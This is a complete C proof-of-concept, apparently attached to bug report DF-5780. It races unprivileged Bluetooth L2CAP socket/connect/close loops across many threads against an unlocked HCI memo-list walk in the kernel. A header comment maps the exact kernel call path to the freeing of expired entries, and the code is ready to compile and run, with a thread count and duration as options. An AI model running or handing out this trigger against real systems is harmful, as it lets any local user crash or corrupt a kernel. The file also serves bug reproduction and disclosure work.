DF-5780 / race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | /* * race.c -- unprivileged userland racer for DF-5780. * * N threads each loop: * socket(AF_BLUETOOTH=33, SOCK_SEQPACKET, BTPROTO_L2CAP=2) * connect(fd, {bt_len=16, family=33, bdaddr=02:22:22:22:22:22}) * close(fd) * * Production path taken per connect (no privilege needed anywhere): * l2cap_sconnect (l2cap_socket.c:351) * -> l2cap_connect (l2cap_upper.c:140) * -> hci_route_lookup (hci_misc.c:55) [fresh socket: laddr any] * -> hci_memo_find (hci_misc.c:113) <-- walks ALL memos of * ALL up units and * FREES expired ones * * The connect target bdaddr never matches a memo, so every single * connect() walks the entire memo list. Running several of these * threads (each in its own process context, any CPU) while the memo * list contains EXPIRED records races the walkers against each other * and against the netisr-side walker (hci_event -> hci_memo_new -> * hci_memo_find) with zero locking between them. * * usage: race [threads] [seconds] */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #ifndef AF_BLUETOOTH #define AF_BLUETOOTH 33 #endif #define BTPROTO_L2CAP 2 /* must match kernel struct sockaddr_bt exactly (netbt/bluetooth.h:94) */ struct sockaddr_bt { uint8_t bt_len; uint8_t bt_family; uint8_t bt_bd[6]; uint16_t bt_psm; uint8_t bt_channel; uint8_t bt_zero[5]; }; static volatile int stop_now; static unsigned long iters[16], errs[16]; static void * thr(void *arg) { long id = (long)arg; struct sockaddr_bt sa; memset(&sa, 0, sizeof(sa)); sa.bt_len = sizeof(sa); sa.bt_family = AF_BLUETOOTH; /* nonexistent remote: walk finds no match, full-list walk each time */ sa.bt_bd[0] = 0x02; sa.bt_bd[1] = 0x22; sa.bt_bd[2] = 0x22; sa.bt_bd[3] = 0x22; sa.bt_bd[4] = 0x22; sa.bt_bd[5] = 0x22; while (!stop_now) { int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (s < 0) { errs[id]++; /* module gone or panic imminent; slow down */ usleep(10000); continue; } iters[id]++; connect(s, (struct sockaddr *)&sa, sizeof(sa)); close(s); } return NULL; } int main(int argc, char **argv) { int nthr = (argc > 1) ? atoi(argv[1]) : 6; int secs = (argc > 2) ? atoi(argv[2]) : 60; pthread_t t[16]; int i; unsigned long tot_i = 0, tot_e = 0; if (nthr > 16) nthr = 16; printf("race: %d threads x %ds: socket+connect+close loop " "(unprivileged L2CAP connect -> hci_route_lookup -> " "hci_memo_find)\n", nthr, secs); fflush(stdout); for (i = 0; i < nthr; i++) pthread_create(&t[i], NULL, thr, (void *)(long)i); sleep(secs); stop_now = 1; for (i = 0; i < nthr; i++) pthread_join(t[i], NULL); for (i = 0; i < nthr; i++) { tot_i += iters[i]; tot_e += errs[i]; printf(" thread %d: %lu connects, %lu socket errors\n", i, iters[i], errs[i]); } printf("race: total %lu connects, %lu errors\n", tot_i, tot_e); return 0; } |